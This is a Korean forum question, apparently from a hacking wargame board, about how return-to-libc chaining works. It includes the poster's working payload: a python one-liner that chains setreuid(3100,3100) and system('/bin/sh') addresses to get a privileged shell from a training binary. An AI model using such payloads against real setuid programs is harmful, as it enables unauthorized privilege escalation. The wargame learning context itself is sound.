|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1911 [복사]
RTL Chaning이 어떤 원리로 이루어지는것까지는 이해를 했습니다.
제가 공격에 성공한 코드입니다.
(python -c 'print "\x90"*44+"\xc0\x9c\x0f\x40"+"\x9d\x84\x04\x08"+"\x1c\x0c\x00\x00"+"\x1c\x0c\x00\x00"+"\x30\xf4\x05\x40"+"\x90"*4+"\x24\xad\x14\x40"';cat)|./attackme
"\x1c\x0c\x00\x00"+"\x1c\x0c\x00\x00" 이 부분이 setreuid를 3100권한으로 설정하는 부분 , 0xc1c = 10진수 3100
"\x24\xad\x14\x40" 이 부분이 /bin/sh가 들어있는 메모리 주소입니다.
setreuid에서는 인자를 주소값으로 읽지 않고 16진수 값으로 인식한 반면에 system 함수의 /bin/sh 인자는 메모리 주소 값으로 인식했다고 이해를 했습니다.
단순히 setreuid 의 인자는 16진수 값으로 읽고 system의 인자는 메모리 주소로 읽으라고 프로그래밍이 되어있어서 그런건지 아니면 다른 이유가 있어서 인지를 모르겠습니다. |
Hit : 1923 Date : 2018/01/04 04:20
|
1574, 
4/79 
